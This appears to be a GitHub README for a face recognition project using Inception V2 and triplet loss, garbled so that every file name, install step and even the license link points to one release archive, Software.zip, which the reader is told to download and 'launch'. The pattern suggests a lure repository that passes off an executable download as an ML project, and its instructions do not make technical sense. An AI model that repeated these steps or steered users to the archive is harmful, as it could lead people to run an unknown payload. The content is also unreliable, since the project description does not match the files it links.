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🚀 Face Recognition System using Inception V2 and Triplet Loss

Welcome to the Face_Recognition repository - your one-stop solution for an end-to-end face recognition system. This project leverages the power of Inception V2 architecture and Triplet Loss to generate robust embeddings for accurate facial recognition.

Key Features

🔹 Cutting-edge Technology: Utilizes state-of-the-art Inception V2 architecture and Triplet Loss function for superior face recognition accuracy.
🔹 Highly Efficient: Provides fast and precise face recognition capabilities.
🔹 Deep Learning: Implements deep learning algorithms for superior performance.
🔹 Easy to Use: Simple implementation in Python 3 using TensorFlow 2 and Keras.

Repository Topics

⚙️ ai
👁️ computer-vision
🧠 deep-learning
🎯 embeddings
👤 face-recognition
😃 facial-recognition
🚀 inception-v2
🔵 keras-tensorflow
💻 machine-learning
🐍 python3
🔢 tensorflow2
📐 triplet-loss

Get Started

To access the full functionality of this repository, please download the release package from the following link:

Download Release

Note: The link provided needs to be launched.

If the link is not accessible or if you require more information, please visit the Releases section of this repository.

Project Structure

📁 /data: Contains sample images for testing the face recognition system.
📁 /models: Includes pre-trained Inception V2 models for quick deployment.
📄 https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip: Python script to train the face recognition model using Triplet Loss.
📄 https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip: Utilize the trained model for facial recognition tasks.
📄 https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip: Helper functions for data preprocessing and model evaluation.

System Requirements

⚙️ Python 3
🔵 TensorFlow 2
🔶 Keras
🔬 GPU (recommended)

Usage

  1. Make sure you have all dependencies installed by running pip install -r https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip.
  2. Train the face recognition model using https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip.
  3. Test the model by running https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip on sample images.

Contributions

Contributions to this repository are welcome! Feel free to submit pull requests to enhance the functionality and performance of the face recognition system.

Support

If you encounter any issues or have questions regarding the implementation, please open an issue in the repository. Our team will be happy to assist you.

License

This project is licensed under the MIT License - see the https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip file for details.

Thank you for exploring the Face Recognition repository! Keep innovating with cutting-edge AI technologies. 👩‍💻👨‍💻🚀